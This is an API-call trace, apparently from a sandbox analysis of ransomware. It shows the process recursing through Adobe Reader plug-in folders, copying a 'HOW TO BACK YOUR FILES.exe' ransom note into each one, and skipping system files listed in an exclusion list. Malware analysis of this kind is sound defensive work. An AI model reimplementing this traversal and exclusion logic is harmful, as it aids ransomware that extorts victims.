	[0057.442] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\*") returned 64
	[0057.442] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins"
	[0057.442] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5917c0 | out: hHeap=0x580000) returned 1
	[0057.442] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0057.442] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned 56
	[0057.442] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins"
	[0057.442] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.442] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.447] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.447] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a507ab0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a507ab0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.447] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.447] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.447] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0057.447] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a507ab0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a507ab0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0057.447] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.447] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0057.447] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0057.447] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0057.447] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ec63, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Accessibility.api", cAlternateFileName="ACCESS~1.API")) returned 1
	[0057.447] lstrcmpiW (lpString1="Accessibility.api", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.447] lstrcmpiW (lpString1="Accessibility.api", lpString2="Apollon865.txt.exe") returned -1
	[0057.447] lstrcmpiW (lpString1="Accessibility.api", lpString2=".") returned 1
	[0057.447] lstrcmpiW (lpString1="Accessibility.api", lpString2="..") returned 1
	[0057.448] lstrcmpiW (lpString1="Accessibility.api", lpString2="windows") returned -1
	[0057.448] lstrcmpiW (lpString1="Accessibility.api", lpString2="bootmgr") returned -1
	[0057.448] lstrcmpiW (lpString1="Accessibility.api", lpString2="temp") returned -1
	[0057.448] lstrcmpiW (lpString1="Accessibility.api", lpString2="pagefile.sys") returned -1
	[0057.448] lstrcmpiW (lpString1="Accessibility.api", lpString2="boot") returned -1
	[0057.448] lstrcmpiW (lpString1="Accessibility.api", lpString2="ids.txt") returned -1
	[0057.448] lstrcmpiW (lpString1="Accessibility.api", lpString2="ntuser.dat") returned -1
	[0057.448] lstrcmpiW (lpString1="Accessibility.api", lpString2="perflogs") returned -1
	[0057.448] lstrcmpiW (lpString1="Accessibility.api", lpString2="MSBuild") returned -1
	[0057.448] lstrlenW (lpString="Accessibility.api") returned 17
	[0057.448] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\*") returned 58
	[0057.448] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia"
	[0057.448] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0057.448] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0057.449] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia") returned 67
	[0057.449] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia"
	[0057.449] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.449] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.455] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.455] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a507ab0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a507ab0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.455] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.455] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.455] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0057.455] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a507ab0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a507ab0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0057.455] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.455] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0057.456] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0057.456] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0057.456] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a507ab0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3a507ab0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0057.456] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0057.456] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MPP", cAlternateFileName="")) returned 1
	[0057.456] lstrcmpiW (lpString1="MPP", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.456] lstrcmpiW (lpString1="MPP", lpString2="Apollon865.txt.exe") returned 1
	[0057.456] lstrcmpiW (lpString1="MPP", lpString2=".") returned 1
	[0057.456] lstrcmpiW (lpString1="MPP", lpString2="..") returned 1
	[0057.456] lstrcmpiW (lpString1="MPP", lpString2="windows") returned -1
	[0057.456] lstrcmpiW (lpString1="MPP", lpString2="bootmgr") returned 1
	[0057.456] lstrcmpiW (lpString1="MPP", lpString2="temp") returned -1
	[0057.456] lstrcmpiW (lpString1="MPP", lpString2="pagefile.sys") returned -1
	[0057.456] lstrcmpiW (lpString1="MPP", lpString2="boot") returned 1
	[0057.456] lstrcmpiW (lpString1="MPP", lpString2="ids.txt") returned 1
	[0057.456] lstrcmpiW (lpString1="MPP", lpString2="ntuser.dat") returned -1
	[0057.456] lstrcmpiW (lpString1="MPP", lpString2="perflogs") returned -1
	[0057.456] lstrcmpiW (lpString1="MPP", lpString2="MSBuild") returned -1
	[0057.456] lstrlenW (lpString="MPP") returned 3
	[0057.456] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\*") returned 69
	[0057.456] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR"
	[0057.456] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599a78 | out: hHeap=0x580000) returned 1
	[0057.456] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0057.456] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR") returned 75
	[0057.456] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR"
	[0057.456] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.456] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.464] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.464] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a52dc10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a52dc10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.464] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.464] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.464] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0057.464] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a52dc10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a52dc10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0057.464] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.464] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0057.464] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0057.464] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0057.464] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Flash.UKR", cAlternateFileName="")) returned 1
	[0057.464] lstrcmpiW (lpString1="Flash.UKR", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.464] lstrcmpiW (lpString1="Flash.UKR", lpString2="Apollon865.txt.exe") returned 1
	[0057.464] lstrcmpiW (lpString1="Flash.UKR", lpString2=".") returned 1
	[0057.465] lstrcmpiW (lpString1="Flash.UKR", lpString2="..") returned 1
	[0057.465] lstrcmpiW (lpString1="Flash.UKR", lpString2="windows") returned -1
	[0057.465] lstrcmpiW (lpString1="Flash.UKR", lpString2="bootmgr") returned 1
	[0057.465] lstrcmpiW (lpString1="Flash.UKR", lpString2="temp") returned -1
	[0057.465] lstrcmpiW (lpString1="Flash.UKR", lpString2="pagefile.sys") returned -1
	[0057.465] lstrcmpiW (lpString1="Flash.UKR", lpString2="boot") returned 1
	[0057.465] lstrcmpiW (lpString1="Flash.UKR", lpString2="ids.txt") returned -1
	[0057.465] lstrcmpiW (lpString1="Flash.UKR", lpString2="ntuser.dat") returned -1
	[0057.465] lstrcmpiW (lpString1="Flash.UKR", lpString2="perflogs") returned -1
	[0057.465] lstrcmpiW (lpString1="Flash.UKR", lpString2="MSBuild") returned -1
	[0057.465] lstrlenW (lpString="Flash.UKR") returned 9
	[0057.465] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\*") returned 77
	[0057.465] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR"
	[0057.465] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b5b58 | out: hHeap=0x580000) returned 1
	[0057.465] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0057.465] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR") returned 75
	[0057.465] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR"
	[0057.465] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.465] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.475] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.475] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a553d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a553d70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.476] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.476] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.476] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0057.476] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a553d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a553d70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0057.476] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.476] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0057.476] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0057.476] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0057.476] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Flash.TUR", cAlternateFileName="")) returned 1
	[0057.476] lstrcmpiW (lpString1="Flash.TUR", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.476] lstrcmpiW (lpString1="Flash.TUR", lpString2="Apollon865.txt.exe") returned 1
	[0057.476] lstrcmpiW (lpString1="Flash.TUR", lpString2=".") returned 1
	[0057.476] lstrcmpiW (lpString1="Flash.TUR", lpString2="..") returned 1
	[0057.476] lstrcmpiW (lpString1="Flash.TUR", lpString2="windows") returned -1
	[0057.476] lstrcmpiW (lpString1="Flash.TUR", lpString2="bootmgr") returned 1
	[0057.476] lstrcmpiW (lpString1="Flash.TUR", lpString2="temp") returned -1
	[0057.476] lstrcmpiW (lpString1="Flash.TUR", lpString2="pagefile.sys") returned -1
	[0057.476] lstrcmpiW (lpString1="Flash.TUR", lpString2="boot") returned 1
	[0057.476] lstrcmpiW (lpString1="Flash.TUR", lpString2="ids.txt") returned -1
	[0057.476] lstrcmpiW (lpString1="Flash.TUR", lpString2="ntuser.dat") returned -1
	[0057.476] lstrcmpiW (lpString1="Flash.TUR", lpString2="perflogs") returned -1
	[0057.476] lstrcmpiW (lpString1="Flash.TUR", lpString2="MSBuild") returned -1
	[0057.476] lstrlenW (lpString="Flash.TUR") returned 9
	[0057.476] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\*") returned 77
	[0057.477] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV"
	[0057.477] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b5ab8 | out: hHeap=0x580000) returned 1
	[0057.477] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0057.477] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV") returned 75
	[0057.477] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV"
	[0057.477] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.477] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.484] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.484] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a553d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a553d70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.484] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.484] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.484] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0057.484] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a553d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a553d70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0057.484] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.484] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0057.484] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0057.484] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0057.484] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Flash.SLV", cAlternateFileName="")) returned 1
	[0057.485] lstrcmpiW (lpString1="Flash.SLV", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.485] lstrcmpiW (lpString1="Flash.SLV", lpString2="Apollon865.txt.exe") returned 1
	[0057.485] lstrcmpiW (lpString1="Flash.SLV", lpString2=".") returned 1
	[0057.485] lstrcmpiW (lpString1="Flash.SLV", lpString2="..") returned 1
	[0057.485] lstrcmpiW (lpString1="Flash.SLV", lpString2="windows") returned -1
